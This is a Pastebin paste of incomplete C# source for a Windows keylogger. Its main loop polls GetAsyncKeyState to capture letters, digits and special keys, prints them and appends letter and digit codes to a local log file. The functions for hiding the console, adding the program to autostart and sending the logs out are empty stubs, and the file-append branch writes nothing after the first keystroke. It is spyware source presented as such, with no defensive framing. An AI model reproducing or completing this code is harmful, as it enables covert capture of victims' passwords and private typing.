Advertisement
Guest User

Untitled

a guest
Mar 19th, 2019
81
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.79 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading.Tasks;
  6. using System.Runtime.InteropServices;
  7. using Keylogger.vkeys;
  8. using System.IO;
  9. using System.Windows.Forms;
  10. namespace Keylogger.Functions
  11. {
  12. class functions
  13. {
  14.  
  15. [DllImport("User32.dll")]
  16. private static extern short GetAsyncKeyState(System.Int32 vKey);
  17.  
  18. // Todo: Write a function that hides console itself.
  19. public void HideConsole() {
  20.  
  21. }
  22. //Adds itself to autostart.
  23. public void AddToAutostart() {
  24.  
  25. }
  26.  
  27. public void SendLogs() {
  28.  
  29. }
  30.  
  31. public void SaveLogs(int digit) {
  32. String path = @"C:\Users\Kuba\Desktop\keylogger_test\logs.txt";
  33. if (!File.Exists(path)) {
  34. using (StreamWriter sw = File.CreateText(path)) {
  35. sw.WriteLine(digit);
  36. }
  37. } else if (File.Exists(path)) {
  38. using (StreamWriter file = new StreamWriter(path, true)) {
  39.  
  40. }
  41. }
  42.  
  43. }
  44. //Turns on the keylogger
  45. public void TurnOn() {
  46. int digit;
  47. int temp;
  48.  
  49. KeysConverter kc = new KeysConverter();
  50.  
  51. while (true) {
  52. //Reads letters
  53. for (digit = 65; digit < 91; digit++) {
  54. temp = GetAsyncKeyState(digit);
  55.  
  56. if (temp == -32767 && !Convert.ToBoolean(GetAsyncKeyState(Convert.ToInt32(vkeys.VirtualKeyCode.Shift)))) {
  57. Console.Write((char)(digit + 32));
  58. SaveLogs(digit);
  59.  
  60. } else if (temp == -32767 && Convert.ToBoolean(GetAsyncKeyState(Convert.ToInt32(vkeys.VirtualKeyCode.Shift)))) {
  61. Console.Write((char)digit);
  62. SaveLogs(digit);
  63.  
  64. }
  65. }
  66.  
  67. //Reads digits
  68. for (digit = 48; digit < 58; digit++) {
  69. if (GetAsyncKeyState(digit) == -32767) {
  70. Console.Write((char)digit);
  71. SaveLogs(digit);
  72. }
  73. }
  74. if (GetAsyncKeyState(Convert.ToInt32(vkeys.VirtualKeyCode.Space)) == -32767) {
  75. Console.Write(" ");
  76.  
  77. }
  78. if (GetAsyncKeyState(Convert.ToInt32(vkeys.VirtualKeyCode.Return)) == -32767) {
  79. Console.Write("[ENTER]");
  80.  
  81. }
  82. if (GetAsyncKeyState(Convert.ToInt32(vkeys.VirtualKeyCode.Back)) == -32767) {
  83. Console.Write("[BACKSPACE]");
  84. }
  85. if (GetAsyncKeyState(Convert.ToInt32(vkeys.VirtualKeyCode.Capital)) == -32767) {
  86. Console.Write("[CS]");
  87. }
  88. if (GetAsyncKeyState(Convert.ToInt32(vkeys.VirtualKeyCode.Delete)) == -32767) {
  89. Console.Write("[DELETE]");
  90. }
  91. if (GetAsyncKeyState(Convert.ToInt32(vkeys.VirtualKeyCode.Tab)) == -32767) {
  92. Console.Write("[TAB]");
  93. }
  94. if (GetAsyncKeyState(Convert.ToInt32(vkeys.VirtualKeyCode.Escape)) == -32767) {
  95. Console.Write("[ESC]");
  96. }
  97. if (GetAsyncKeyState(Convert.ToInt32(vkeys.VirtualKeyCode.Menu)) == -32767) {
  98. Console.Write("[ALT]");
  99. }
  100. if (GetAsyncKeyState(Convert.ToInt32(vkeys.VirtualKeyCode.Snapshot)) == -32767) {
  101. Console.Write("[PRTSCR]");
  102. }
  103. }
  104. }
  105.  
  106. }
  107. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement